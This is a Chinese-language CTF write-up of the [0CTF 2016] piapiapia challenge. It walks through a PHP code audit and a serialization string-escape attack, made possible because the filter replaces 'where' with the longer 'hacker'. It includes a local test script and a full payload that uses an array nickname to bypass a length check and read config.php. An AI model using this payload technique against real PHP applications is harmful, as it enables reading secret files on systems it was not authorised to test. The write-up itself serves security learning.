BUUFTC-日刷-[0CTF 2016]piapiapia-程式碼審計+反序列化逃逸中陣列處理
阿新 • • 發佈:2021-11-10
進去就是一個登入介面,嘗試sql注入發現沒反應
掃描後臺發現www.zip,嘗試程式碼審計
在config.php發現flag,下面就是嘗試輸出config.php
註冊一個賬號登入進去,可以發現一個檔案上傳口,上傳圖片後在個人主頁可以看到上傳的圖片
這裡審計程式碼發現可以發現一個檔案讀取點
發現會讀取$profile['photo']並且輸出base64加密值,那麼讓$profile['photo']=config.php即可,看看這個值在哪裡指定
可以發現這個變數是反序列化過的,繼續往前看
觀察程式碼我們可以發現是將上傳的電話號碼,郵箱和圖片路徑啥的存在一個數組裡,再序列化儲存profile
但是photo這個變數路徑是根據檔名的md5值指定的,我們不好指定我config
但是注意看前面上傳的時候有一個過濾函式
檢視這個過濾函式
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
這個函式先看implode,它是把陣列元素組合為字串。然後就很明顯了會把‘和\\轉為_,把幾個資料庫關鍵詞轉為hacker,這裡就存在序列化字元逃逸
提取關鍵程式碼,組合測試
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape= '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } function update_profile($new_profile) { $new_profile = filter($new_profile); print_r($new_profile); } $profile['phone'] = '11122233344'; $profile['email'] = '[email protected]'; $profile['nickname'] ='aaa'; $profile['photo'] = 'upload/' . md5('a.png'); update_profile(serialize($profile));
結果
這裡嘗試改變nickname(非最終payload)
nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
結果
a:4:{s:5:"phone";s:11:"11122233344";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/32d3ca5e23f4ccf1e4c8660c40e75f33";}
這裡可以發現逃逸成功,但是注意一下這裡nickname不能直接填這個
注意
發現nickname長度不能超過10
這裡用陣列繞過
strlen(Array()) = null
我們前面payload也要改,因為我們要讓nickname為陣列,要多加一個},因此payload要多填充一位
payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
發包
解碼